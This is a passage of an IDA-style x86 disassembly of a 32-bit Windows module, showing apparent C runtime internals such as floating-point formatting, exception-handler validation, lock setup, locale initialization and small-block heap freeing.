		jg	short loc_69B85456
		mov	eax, ebx
		call	sub_69B852D7
		mov	byte ptr [ebx],	30h
		inc	ebx
		jmp	short loc_69B85458
; ---------------------------------------------------------------------------


loc_69B85456:				; CODE XREF: sub_69B85406+41j
		add	ebx, eax


loc_69B85458:				; CODE XREF: sub_69B85406+4Ej
		cmp	[ebp+arg_4], 0
		jle	short loc_69B8549A
		mov	eax, ebx
		call	sub_69B852D7
		mov	al, byte_69B9AC70
		mov	[ebx], al
		mov	esi, [esi+4]
		inc	ebx
		test	esi, esi
		jge	short loc_69B8549A
		neg	esi
		cmp	[ebp+arg_8], 0
		jnz	short loc_69B85481
		cmp	[ebp+arg_4], esi
		jl	short loc_69B85484


loc_69B85481:				; CODE XREF: sub_69B85406+74j
		mov	[ebp+arg_4], esi


loc_69B85484:				; CODE XREF: sub_69B85406+79j
		mov	edi, [ebp+arg_4]
		mov	eax, ebx
		call	sub_69B852D7
		push	edi
		push	30h
		push	ebx
		call	sub_69B22867
		add	esp, 0Ch


loc_69B8549A:				; CODE XREF: sub_69B85406+56j
					; sub_69B85406+6Cj
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_69B85406	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B854A2	proc near		; CODE XREF: sub_69B8557E+1Ep

var_28		= byte ptr -28h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	esi
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_69B86AFA
		mov	esi, [ebp+arg_8]
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_C]
		add	eax, esi
		push	eax
		xor	eax, eax
		cmp	[ebp+var_10], 2Dh
		setz	al
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_69B869C1
		push	0
		push	esi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_10]
		call	sub_69B85406
		mov	eax, [ebp+arg_4]
		add	esp, 28h
		pop	esi
		leave
		retn
sub_69B854A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B854F4	proc near		; CODE XREF: sub_69B8557E+34p

var_28		= byte ptr -28h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_69B86AFA
		mov	esi, [ebp+var_C]
		mov	ebx, [ebp+arg_8]
		xor	eax, eax
		dec	esi
		cmp	[ebp+var_10], 2Dh
		setz	al
		add	eax, [ebp+arg_4]
		mov	edi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	edi
		call	sub_69B869C1
		mov	eax, [ebp+var_C]
		add	esp, 1Ch
		dec	eax
		cmp	esi, eax
		setl	cl
		cmp	eax, 0FFFFFFFCh
		jl	short loc_69B85565
		cmp	eax, ebx
		jge	short loc_69B85565
		test	cl, cl
		jz	short loc_69B85555


loc_69B8554B:				; CODE XREF: sub_69B854F4+5Cj
		mov	al, [edi]
		inc	edi
		test	al, al
		jnz	short loc_69B8554B
		mov	[edi-2], al


loc_69B85555:				; CODE XREF: sub_69B854F4+55j
		push	1
		push	ebx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_10]
		call	sub_69B85406
		jmp	short loc_69B85576
; ---------------------------------------------------------------------------


loc_69B85565:				; CODE XREF: sub_69B854F4+4Dj
					; sub_69B854F4+51j
		push	1
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10]
		push	ebx
		mov	ebx, [ebp+arg_4]
		call	sub_69B852F4


loc_69B85576:				; CODE XREF: sub_69B854F4+6Fj
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B854F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8557E	proc near		; DATA XREF: sub_69B1144Ao

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_69B855B9
		cmp	[ebp+arg_8], 45h
		jz	short loc_69B855B9
		cmp	[ebp+arg_8], 66h
		jnz	short loc_69B855A6
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B854A2
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_69B855A6:				; CODE XREF: sub_69B8557E+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B854F4
		jmp	short loc_69B855CA
; ---------------------------------------------------------------------------


loc_69B855B9:				; CODE XREF: sub_69B8557E+7j
					; sub_69B8557E+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B853AA


loc_69B855CA:				; CODE XREF: sub_69B8557E+39j
		add	esp, 10h
		pop	ebp
		retn
sub_69B8557E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B855CF	proc near		; CODE XREF: sub_69B84BCE+1Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_69B855E7
		cmp	[ebp+arg_0], edx
		jnz	short loc_69B855F9
		xor	eax, eax
		inc	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_69B855E7:				; CODE XREF: sub_69B855CF+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_69B855F9
		cmp	[ebp+arg_0], edx
		jnz	short loc_69B855F9
		push	2
		jmp	short loc_69B85623
; ---------------------------------------------------------------------------


loc_69B855F9:				; CODE XREF: sub_69B855CF+11j
					; sub_69B855CF+1Fj ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_69B8560C
		push	3
		jmp	short loc_69B85623
; ---------------------------------------------------------------------------


loc_69B8560C:				; CODE XREF: sub_69B855CF+37j
		cmp	cx, 7FF0h
		jnz	short loc_69B85626
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_69B85621
		cmp	[ebp+arg_0], edx
		jz	short loc_69B85626


loc_69B85621:				; CODE XREF: sub_69B855CF+4Bj
		push	4


loc_69B85623:				; CODE XREF: sub_69B855CF+28j
					; sub_69B855CF+3Bj
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_69B85626:				; CODE XREF: sub_69B855CF+42j
					; sub_69B855CF+50j
		xor	eax, eax
		pop	ebp
		retn
sub_69B855CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8562A	proc near		; CODE XREF: sub_69B22496+34p

Buffer		= _MEMORY_BASIC_INFORMATION ptr	-20h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, [esi+8]
		test	bl, 3
		jnz	short loc_69B85658
		mov	eax, large fs:18h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		cmp	ebx, ecx
		mov	[ebp+var_4], ecx
		jb	short loc_69B8565F
		cmp	ebx, [eax+4]
		jnb	short loc_69B8565F


loc_69B85658:				; CODE XREF: sub_69B8562A+11j
		xor	eax, eax
		jmp	loc_69B8584F
; ---------------------------------------------------------------------------


loc_69B8565F:				; CODE XREF: sub_69B8562A+27j
					; sub_69B8562A+2Cj
		push	edi
		mov	edi, [esi+0Ch]
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_69B85670


loc_69B85668:				; CODE XREF: sub_69B8562A+139j
					; sub_69B8562A+19Cj ...
		xor	eax, eax
		inc	eax
		jmp	loc_69B8584E
; ---------------------------------------------------------------------------


loc_69B85670:				; CODE XREF: sub_69B8562A+3Cj
		xor	edx, edx
		mov	[ebp+arg_0], edx
		mov	eax, ebx


loc_69B85677:				; CODE XREF: sub_69B8562A+6Bj
		mov	ecx, [eax]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_69B85686
		cmp	ecx, edx
		jnb	loc_69B857CB


loc_69B85686:				; CODE XREF: sub_69B8562A+52j
		cmp	dword ptr [eax+4], 0
		jz	short loc_69B8568F
		inc	[ebp+arg_0]


loc_69B8568F:				; CODE XREF: sub_69B8562A+60j
		inc	edx
		add	eax, 0Ch
		cmp	edx, edi
		jbe	short loc_69B85677
		cmp	[ebp+arg_0], 0
		jz	short loc_69B856B1
		mov	eax, [esi-8]
		cmp	eax, [ebp+var_4]
		jb	loc_69B857CB
		cmp	eax, esi
		jnb	loc_69B857CB


loc_69B856B1:				; CODE XREF: sub_69B8562A+71j
		mov	eax, dword_69B9B6D0
		mov	edi, ebx
		and	edi, 0FFFFF000h
		xor	esi, esi
		test	eax, eax
		jle	short loc_69B856D6


loc_69B856C4:				; CODE XREF: sub_69B8562A+AAj
		cmp	dword_69B9B6D8[esi*4], edi
		jz	loc_69B857CF
		inc	esi
		cmp	esi, eax
		jl	short loc_69B856C4


loc_69B856D6:				; CODE XREF: sub_69B8562A+98j
		push	1Ch		; dwLength
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		push	ebx		; lpAddress
		call	ds:VirtualQuery	; VirtualQuery
		test	eax, eax
		jz	loc_69B8584B
		cmp	[ebp+Buffer.Type], 1000000h
		jnz	loc_69B8584B
		test	byte ptr [ebp+Buffer.Protect], 0CCh
		jz	short loc_69B85754
		mov	ecx, [ebp+Buffer.AllocationBase]
		cmp	word ptr [ecx],	5A4Dh
		jnz	loc_69B8584B
		mov	eax, [ecx+3Ch]
		add	eax, ecx
		cmp	dword ptr [eax], 4550h
		jnz	loc_69B8584B
		cmp	word ptr [eax+18h], 10Bh
		jnz	loc_69B8584B
		sub	ebx, ecx
		cmp	word ptr [eax+6], 0
		movzx	ecx, word ptr [eax+14h]
		lea	ecx, [ecx+eax+18h]
		jbe	loc_69B8584B
		mov	eax, [ecx+0Ch]
		cmp	ebx, eax
		jb	short loc_69B85754
		mov	edx, [ecx+8]
		add	edx, eax
		cmp	ebx, edx
		jnb	short loc_69B85754
		test	byte ptr [ecx+27h], 80h
		jnz	short loc_69B857CB


loc_69B85754:				; CODE XREF: sub_69B8562A+D2j
					; sub_69B8562A+119j ...
		push	1		; Value
		push	offset dword_69B9B718 ;	Target
		call	ds:InterlockedExchange	; InterlockedExchange
		test	eax, eax
		jnz	loc_69B85668
		mov	ecx, dword_69B9B6D0
		test	ecx, ecx
		mov	edx, ecx
		jle	short loc_69B85788
		lea	eax, dword_69B9B6D4[ecx*4]


loc_69B8577C:				; CODE XREF: sub_69B8562A+15Cj
		cmp	[eax], edi
		jz	short loc_69B85788
		dec	edx
		sub	eax, 4
		test	edx, edx
		jg	short loc_69B8577C


loc_69B85788:				; CODE XREF: sub_69B8562A+149j
					; sub_69B8562A+154j
		test	edx, edx
		jnz	short loc_69B857B9
		push	0Fh
		pop	ebx
		cmp	ecx, ebx
		jg	short loc_69B85795
		mov	ebx, ecx


loc_69B85795:				; CODE XREF: sub_69B8562A+167j
		xor	edx, edx
		test	ebx, ebx
		jl	short loc_69B857AD


loc_69B8579B:				; CODE XREF: sub_69B8562A+181j
		lea	eax, dword_69B9B6D8[edx*4]
		mov	esi, [eax]
		inc	edx
		cmp	edx, ebx
		mov	[eax], edi
		mov	edi, esi
		jle	short loc_69B8579B


loc_69B857AD:				; CODE XREF: sub_69B8562A+16Fj
		cmp	ecx, 10h
		jge	short loc_69B857B9
		inc	ecx
		mov	dword_69B9B6D0,	ecx


loc_69B857B9:				; CODE XREF: sub_69B8562A+160j
					; sub_69B8562A+186j
		push	0		; Value
		push	offset dword_69B9B718 ;	Target
		call	ds:InterlockedExchange	; InterlockedExchange
		jmp	loc_69B85668
; ---------------------------------------------------------------------------


loc_69B857CB:				; CODE XREF: sub_69B8562A+56j
					; sub_69B8562A+79j ...
		xor	eax, eax
		jmp	short loc_69B8584E
; ---------------------------------------------------------------------------


loc_69B857CF:				; CODE XREF: sub_69B8562A+A1j
		test	esi, esi
		jle	loc_69B85668
		mov	ebx, ds:InterlockedExchange
		push	1		; Value
		push	offset dword_69B9B718 ;	Target
		call	ebx ; InterlockedExchange
		test	eax, eax
		jnz	loc_69B85668
		cmp	dword_69B9B6D8[esi*4], edi
		jz	short loc_69B85825
		mov	eax, dword_69B9B6D0
		lea	esi, [eax-1]
		test	esi, esi
		jl	short loc_69B85813


loc_69B85803:				; CODE XREF: sub_69B8562A+1E3j
		cmp	dword_69B9B6D8[esi*4], edi
		jz	short loc_69B8580F
		dec	esi
		jns	short loc_69B85803


loc_69B8580F:				; CODE XREF: sub_69B8562A+1E0j
		test	esi, esi
		jge	short loc_69B85823


loc_69B85813:				; CODE XREF: sub_69B8562A+1D7j
		cmp	eax, 10h
		jge	short loc_69B8581E
		inc	eax
		mov	dword_69B9B6D0,	eax


loc_69B8581E:				; CODE XREF: sub_69B8562A+1ECj
		lea	esi, [eax-1]
		jmp	short loc_69B85825
; ---------------------------------------------------------------------------


loc_69B85823:				; CODE XREF: sub_69B8562A+1E7j
		jz	short loc_69B8583D


loc_69B85825:				; CODE XREF: sub_69B8562A+1CBj
					; sub_69B8562A+1F7j
		xor	ecx, ecx
		test	esi, esi
		jl	short loc_69B8583D


loc_69B8582B:				; CODE XREF: sub_69B8562A+211j
		lea	eax, dword_69B9B6D8[ecx*4]
		mov	edx, [eax]
		inc	ecx
		cmp	ecx, esi
		mov	[eax], edi
		mov	edi, edx
		jle	short loc_69B8582B


loc_69B8583D:				; CODE XREF: sub_69B8562A:loc_69B85823j
					; sub_69B8562A+1FFj
		push	0		; Value
		push	offset dword_69B9B718 ;	Target
		call	ebx ; InterlockedExchange
		jmp	loc_69B85668
; ---------------------------------------------------------------------------


loc_69B8584B:				; CODE XREF: sub_69B8562A+BBj
					; sub_69B8562A+C8j ...
		or	eax, 0FFFFFFFFh


loc_69B8584E:				; CODE XREF: sub_69B8562A+41j
					; sub_69B8562A+1A3j
		pop	edi


loc_69B8584F:				; CODE XREF: sub_69B8562A+30j
		pop	esi
		pop	ebx
		leave
		retn
sub_69B8562A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B85853	proc near		; CODE XREF: sub_69B113FC+13CB9p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		lea	esi, lpCriticalSection[esi*8]
		cmp	dword ptr [esi], 0
		jz	short loc_69B85869
		xor	eax, eax
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B85869:				; CODE XREF: sub_69B85853+Fj
		push	edi
		push	18h
		pop	ecx
		call	sub_69B19560
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B85887


loc_69B85878:				; CODE XREF: sub_69B85853+61j
		call	sub_69B86B5F
		mov	dword ptr [eax], 0Ch
		xor	eax, eax
		jmp	short loc_69B858CC
; ---------------------------------------------------------------------------


loc_69B85887:				; CODE XREF: sub_69B85853+23j
		push	0Ah
		call	sub_69B113FC
		cmp	dword ptr [esi], 0
		pop	ecx
		jnz	short loc_69B858BA
		push	0FA0h
		push	edi
		call	sub_69B19C19
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_69B858B6
		push	edi
		call	sub_69B1D1FD
		push	0Ah
		call	sub_69B1D1C5
		pop	ecx
		pop	ecx
		jmp	short loc_69B85878
; ---------------------------------------------------------------------------


loc_69B858B6:				; CODE XREF: sub_69B85853+50j
		mov	[esi], edi
		jmp	short loc_69B858C1
; ---------------------------------------------------------------------------


loc_69B858BA:				; CODE XREF: sub_69B85853+3Fj
		push	edi
		call	sub_69B1D1FD
		pop	ecx


loc_69B858C1:				; CODE XREF: sub_69B85853+65j
		push	0Ah
		call	sub_69B1D1C5
		xor	eax, eax
		pop	ecx
		inc	eax


loc_69B858CC:				; CODE XREF: sub_69B85853+32j
		pop	edi
		pop	esi
		retn
sub_69B85853	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B858CF	proc near		; CODE XREF: sub_69B84DFA+10Fp
					; sub_69B8599F+B6p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+3Ch]
		push	edi
		xor	edi, edi
		cmp	eax, dword_69B9B738
		jz	short loc_69B85945
		cmp	eax, edi
		jz	short loc_69B85945
		mov	eax, [esi+2Ch]
		cmp	[eax], edi
		jnz	short loc_69B85945
		mov	eax, [esi+34h]
		cmp	eax, edi
		jz	short loc_69B85910
		cmp	[eax], edi
		jnz	short loc_69B85910
		cmp	eax, dword_69B9B778
		jz	short loc_69B85910
		push	eax
		call	sub_69B1D1FD
		push	dword ptr [esi+3Ch]
		call	sub_69B86D61
		pop	ecx
		pop	ecx


loc_69B85910:				; CODE XREF: sub_69B858CF+23j
					; sub_69B858CF+27j ...
		mov	eax, [esi+30h]
		cmp	eax, edi
		jz	short loc_69B85933
		cmp	[eax], edi
		jnz	short loc_69B85933
		cmp	eax, dword_69B9B77C
		jz	short loc_69B85933
		push	eax
		call	sub_69B1D1FD
		push	dword ptr [esi+3Ch]
		call	sub_69B86D02
		pop	ecx
		pop	ecx


loc_69B85933:				; CODE XREF: sub_69B858CF+46j
					; sub_69B858CF+4Aj ...
		push	dword ptr [esi+2Ch]
		call	sub_69B1D1FD
		push	dword ptr [esi+3Ch]
		call	sub_69B1D1FD
		pop	ecx
		pop	ecx


loc_69B85945:				; CODE XREF: sub_69B858CF+11j
					; sub_69B858CF+15j ...
		mov	eax, [esi+40h]
		cmp	eax, dword_69B9B774
		jz	short loc_69B8596E
		cmp	eax, edi
		jz	short loc_69B8596E
		cmp	[eax], edi
		jnz	short loc_69B8596E
		push	eax
		call	sub_69B1D1FD
		mov	eax, [esi+44h]
		sub	eax, 0FEh
		push	eax
		call	sub_69B1D1FD
		pop	ecx
		pop	ecx


loc_69B8596E:				; CODE XREF: sub_69B858CF+7Fj
					; sub_69B858CF+83j ...
		mov	eax, [esi+50h]
		cmp	eax, dword_69B9B734
		jz	short loc_69B85995
		cmp	eax, edi
		jz	short loc_69B85995
		cmp	[eax+0B4h], edi
		jnz	short loc_69B85995
		push	eax
		call	sub_69B86B72
		push	dword ptr [esi+50h]
		call	sub_69B1D1FD
		pop	ecx
		pop	ecx


loc_69B85995:				; CODE XREF: sub_69B858CF+A8j
					; sub_69B858CF+ACj ...
		push	esi
		call	sub_69B1D1FD
		pop	ecx
		pop	edi
		pop	esi
		retn
sub_69B858CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8599F	proc near		; CODE XREF: sub_69B85A60+18p
		push	esi
		call	sub_69B84DE2
		mov	esi, eax
		mov	ecx, [esi+64h]
		cmp	ecx, off_69B9AB2C
		jz	loc_69B85A5B
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_69B859EB
		mov	eax, [ecx+2Ch]
		dec	dword ptr [ecx]
		cmp	eax, edx
		jz	short loc_69B859C7
		dec	dword ptr [eax]


loc_69B859C7:				; CODE XREF: sub_69B8599F+24j
		mov	eax, [ecx+34h]
		cmp	eax, edx
		jz	short loc_69B859D0
		dec	dword ptr [eax]


loc_69B859D0:				; CODE XREF: sub_69B8599F+2Dj
		mov	eax, [ecx+30h]
		cmp	eax, edx
		jz	short loc_69B859D9
		dec	dword ptr [eax]


loc_69B859D9:				; CODE XREF: sub_69B8599F+36j
		mov	eax, [ecx+40h]
		cmp	eax, edx
		jz	short loc_69B859E2
		dec	dword ptr [eax]


loc_69B859E2:				; CODE XREF: sub_69B8599F+3Fj
		mov	eax, [ecx+4Ch]
		dec	dword ptr [eax+0B4h]


loc_69B859EB:				; CODE XREF: sub_69B8599F+1Bj
		mov	eax, off_69B9AB2C
		mov	[esi+64h], eax
		mov	eax, off_69B9AB2C
		inc	dword ptr [eax]
		mov	eax, off_69B9AB2C
		cmp	[eax+2Ch], edx
		jz	short loc_69B85A0E
		mov	eax, [eax+2Ch]
		inc	dword ptr [eax]
		mov	eax, off_69B9AB2C


loc_69B85A0E:				; CODE XREF: sub_69B8599F+63j
		cmp	[eax+34h], edx
		jz	short loc_69B85A1D
		mov	eax, [eax+34h]
		inc	dword ptr [eax]
		mov	eax, off_69B9AB2C


loc_69B85A1D:				; CODE XREF: sub_69B8599F+72j
		cmp	[eax+30h], edx
		jz	short loc_69B85A2C
		mov	eax, [eax+30h]
		inc	dword ptr [eax]
		mov	eax, off_69B9AB2C


loc_69B85A2C:				; CODE XREF: sub_69B8599F+81j
		cmp	[eax+40h], edx
		jz	short loc_69B85A3B
		mov	eax, [eax+40h]
		inc	dword ptr [eax]
		mov	eax, off_69B9AB2C


loc_69B85A3B:				; CODE XREF: sub_69B8599F+90j
		mov	eax, [eax+4Ch]
		inc	dword ptr [eax+0B4h]
		cmp	ecx, edx
		jz	short loc_69B85A5B
		cmp	[ecx], edx
		jnz	short loc_69B85A5B
		cmp	ecx, offset dword_69B9AAD8
		jz	short loc_69B85A5B
		push	ecx
		call	sub_69B858CF
		pop	ecx


loc_69B85A5B:				; CODE XREF: sub_69B8599F+11j
					; sub_69B8599F+A7j ...
		mov	eax, [esi+64h]
		pop	esi
		retn
sub_69B8599F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B85A60	proc near		; CODE XREF: sub_69B8651F+10p
					; sub_69B86621+10p ...
		push	0Ch
		push	offset dword_69B85AA0
		call	sub_69B19C5C
		push	0Ch
		call	sub_69B113FC
		pop	ecx
		and	dword ptr [ebp-4], 0
		call	sub_69B8599F
		mov	[ebp-1Ch], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B85A92
		mov	eax, [ebp-1Ch]
		call	sub_69B1853C
		retn
sub_69B85A60	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B85A92	proc near		; CODE XREF: sub_69B85A60+24p
					; DATA XREF: .text:69B85AA8o
		push	0Ch
		call	sub_69B1D1C5
		pop	ecx
		retn
sub_69B85A92	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B85AA0	dd 0FFFFFFFFh, 0		dd offset sub_69B85A92

; =============== S U B	R O U T	I N E =======================================



sub_69B85AAC	proc near		; CODE XREF: sub_69B1D0A4+8140p
					; sub_69B1D0A4+818Dp
		sub	eax, 3A4h
		jz	short loc_69B85AD5
		sub	eax, 4
		jz	short loc_69B85ACF
		sub	eax, 0Dh
		jz	short loc_69B85AC9
		dec	eax
		jz	short loc_69B85AC3
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_69B85AC3:				; CODE XREF: sub_69B85AAC+12j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_69B85AC9:				; CODE XREF: sub_69B85AAC+Fj
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_69B85ACF:				; CODE XREF: sub_69B85AAC+Aj
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_69B85AD5:				; CODE XREF: sub_69B85AAC+5j
		mov	eax, 411h
		retn
sub_69B85AAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B85ADB	proc near		; CODE XREF: sub_69B1D0A4:loc_69B1D124p
		push	edi
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_69B95DE0
		rep stosd
		stosb
		xor	eax, eax
		mov	CodePage, eax
		mov	dword_69B95DC0,	eax
		mov	dword_69B95DB8,	eax
		mov	edi, offset word_69B95EF0
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_69B85ADB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B85B04	proc near		; CODE XREF: sub_69B1CD1E+82EAp

arg_0		= dword	ptr  4

		push	140h		; dwBytes
		push	0		; dwFlags
		push	dword_69B96000	; hHeap
		call	ds:HeapAlloc
		test	eax, eax
		mov	dword_69B9B788,	eax
		jnz	short loc_69B85B21
		retn
; ---------------------------------------------------------------------------


loc_69B85B21:				; CODE XREF: sub_69B85B04+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_69B9B780,	0
		and	dword_69B9B784,	0
		mov	dword_69B9B790,	eax
		xor	eax, eax
		mov	dword_69B9B78C,	ecx
		mov	dword_69B9B794,	10h
		inc	eax
		retn
sub_69B85B04	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B85B4C	proc near		; CODE XREF: sub_69B1D1FD+7B32p

arg_0		= dword	ptr  4

		mov	eax, dword_69B9B784
		lea	ecx, [eax+eax*4]
		mov	eax, dword_69B9B788
		lea	ecx, [eax+ecx*4]
		jmp	short loc_69B85B70
; ---------------------------------------------------------------------------


loc_69B85B5E:				; CODE XREF: sub_69B85B4C+26j
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_69B85B76
		add	eax, 14h


loc_69B85B70:				; CODE XREF: sub_69B85B4C+10j
		cmp	eax, ecx
		jb	short loc_69B85B5E
		xor	eax, eax

locret_69B85B76:			; CODE XREF: sub_69B85B4C+1Fj
		retn
sub_69B85B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B85B77	proc near		; CODE XREF: sub_69B1D1FD+7B41p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, esi
		sub	edi, [ecx+0Ch]
		add	esi, 0FFFFFFFCh
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_69B85E8B
		push	ebx
		lea	ebx, [ecx+esi]
		mov	edx, [ebx]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_69B85C42
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_69B85BDA
		push	3Fh
		pop	edx


loc_69B85BDA:				; CODE XREF: sub_69B85B77+5Ej
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_69B85C24
		cmp	edx, 20h
		mov	ebx, 80000000h
		jnb	short loc_69B85C05
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_69B85C21
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_69B85C21
; ---------------------------------------------------------------------------


loc_69B85C05:				; CODE XREF: sub_69B85B77+73j
		lea	ecx, [edx-20h]
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_69B85C21
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_69B85C21:				; CODE XREF: sub_69B85B77+85j
					; sub_69B85B77+8Cj ...
		mov	ebx, [ebp+arg_4]


loc_69B85C24:				; CODE XREF: sub_69B85B77+69j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx
		mov	[ebp+var_4], ecx


loc_69B85C42:				; CODE XREF: sub_69B85B77+55j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_69B85C50
		push	3Fh
		pop	edx


loc_69B85C50:				; CODE XREF: sub_69B85B77+D4j
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_69B85CEE
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_69B85C75
		mov	ebx, esi


loc_69B85C75:				; CODE XREF: sub_69B85B77+FAj
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		mov	[ebp+var_4], ecx
		jbe	short loc_69B85C87
		mov	edx, esi


loc_69B85C87:				; CODE XREF: sub_69B85B77+10Cj
		cmp	ebx, edx
		jz	short loc_69B85CE9
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_69B85CD1
		cmp	ebx, 20h
		mov	esi, 80000000h
		jnb	short loc_69B85CB7
		mov	ecx, ebx
		shr	esi, cl
		not	esi
